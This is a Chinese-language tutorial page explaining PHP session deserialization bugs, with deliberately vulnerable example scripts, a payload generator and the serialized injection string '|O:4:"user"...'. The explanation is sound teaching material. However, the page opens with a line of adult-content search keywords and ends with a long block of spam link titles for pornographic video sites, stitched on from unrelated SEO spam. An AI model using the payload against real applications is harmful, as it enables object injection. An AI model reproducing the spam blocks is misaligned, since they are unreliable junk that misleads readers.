亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁技術文章
文章詳情頁

PHP session反序列化漏洞超詳細講解

瀏覽:231日期:2022-06-06 16:50:53
目錄
  • session請求過程
  • session_start的作用
  • session存儲機制
  • session反序列化漏洞

session請求過程

當第一次訪問網站時,Seesion_start()函數就會創建一個唯一的Session ID,并自動通過HTTP的響應頭,將這個Session ID保存到客戶端Cookie中。同時,也在服務器端創建一個以Session ID命名的文件,用于保存這個用戶的會話信息。當同一個用戶再次訪問這個網站時,也會自動通過HTTP的請求頭將Cookie中保存的Seesion ID再攜帶過來,這時Session_start()函數就不會再去分配一個新的Session ID,而是在服務器的硬盤中去尋找和這個Session ID同名的Session文件,將這之前為這個用戶保存的會話信息讀出,在當前腳本中應用,達到跟蹤這個用戶的目的。

session_start的作用

當會話自動開始或者通過session_start()手動開始的時候, PHP 內部會依據客戶端傳來的PHPSESSID來獲取現有的對應的會話數據(即session文件), PHP 會自動反序列化session文件的內容,并將之填充到 $_SESSION 超級全局變量中。如果不存在對應的會話數據,則創建名為sess_PHPSESSID(客戶端傳來的)的文件。如果客戶端未發送PHPSESSID,則創建一個由32個字母組成的PHPSESSID,并返回set-cookie。

session存儲機制

PHP中的Session中的內容并不是放在內存中的,而是以文件的方式來存儲的,存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。存儲的文件是以sess_sessionid來進行命名的,文件的內容就是Session值的序列化之后的內容。

了解一下PHP Session在php.ini中主要存在以下配置項:

在PHP中Session有三種序列化的方式,分別是php,php_serialize,php_binary,不同的引擎所對應的Session的存儲的方式不同

php處理器:

php_binary處理器:

php_serialize處理器:

session反序列化漏洞

PHP在session存儲和讀取時,都會有一個序列化和反序列化的過程,PHP內置了多種處理器用于存取 $_SESSION 數據,都會對數據進行序列化和反序列化,PHP中的Session的實現是沒有的問題的,漏洞主要是由于使用不同的引擎來處理session文件造成的。

存在$_session變量賦值

使用php_serialize引擎來存儲session

session.php

<?phperror_reporting(0);ini_set("session.serialize_handler","php_serialize");session_start();$_SESSION["username"] = $_GET["user"];echo "<pre>";var_dump($_SESSION);echo "</pre>";?>

session2.php

<?phperror_reporting(0);ini_set("session.serialize_handler","php");session_start();class user{    var $name;    var $age;    function __wakeup(){echo "hello ".$this->name." !";    }}?>

分析:

在session.php中存儲,這里要注意,因為session.php存儲器使用了php.serialize,而session.php使用的是php,因此漏洞的主要原因在于不同的引擎對于豎杠'| '的解析產生歧義。

對于php_serialize引擎來說'| '可能只是一個正常的字符;但對于php引擎來說'| '就是分隔符,前面是$_SESSION['username']的鍵名,后面是GET參數經過serialize序列化后的值。從而在解析的時候造成了歧義,導致其在解析Session文件時直接對' | '后的值進行反序列化處理。

payload.php

<?phpclass user {    var $name;    var $age;}$a = new user();$a ->age="888";$a ->name="cc";echo serialize($a);?>

漏洞復現:

|O:4:"user":2:{s:4:"name";s:2:"cc";s:3:"age";s:3:"888";}

然后使用session2.php讀取:直接讀文件就可以

到此這篇關于PHP session反序列化漏洞超詳細講解的文章就介紹到這了,更多相關PHP session反序列化漏洞內容請搜索以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持!

標簽: PHP
相關文章:
主站蜘蛛池模板: 亚洲国产高清在线 | 一区二区三区四区在线观看视频 | 色婷婷婷丁香亚洲综合不卡 | 亚洲一区二区三区四 | 亚洲国产m3u8在线观看 | 久久精品中文字幕不卡一二区 | 国产成人涩涩涩视频在线观看免费 | 精品午夜寂寞影院在线观看 | 日韩中文字幕在线视频 | 天天在线天天综合网色 | 中文一级黄色片 | 精品成人毛片一区二区视 | 国产午夜a理论毛片在线影院 | 精品国产人成在线 | 精品无人区一区二区三区a 精品无码一区在线观看 | 国产精品喷水在线观看 | 大陆国语自产精品视频在 | 黄色网页在线免费观看 | 亚洲日本人成中文字幕 | 青青青青久久精品国产h | 亚洲综合精品香蕉久久网 | 久青草国产手机在线观 | 五月天婷婷一区二区三区久久 | 国产在线麻豆精品 | 成人性色生活片免费看爆迷你 | 岛国毛片一级一级特级毛片 | 国产一级爱片在线播放 | 免费久久精品视频 | 中文字幕 日韩有码 | 欧美精品一区在线看 | 91久久综合 | 看一级毛片免费观看视频 | hh99me福利毛片 | 日韩中文字幕在线播放 | 在线免费污视频 | 亚洲图欧美日韩色综合图 | 黑人好太好长爱不了 | 37pao成人国产永久免费视频 | 538精品视频 | 6969精品视频在线观看 | 成人看片黄a在线看 |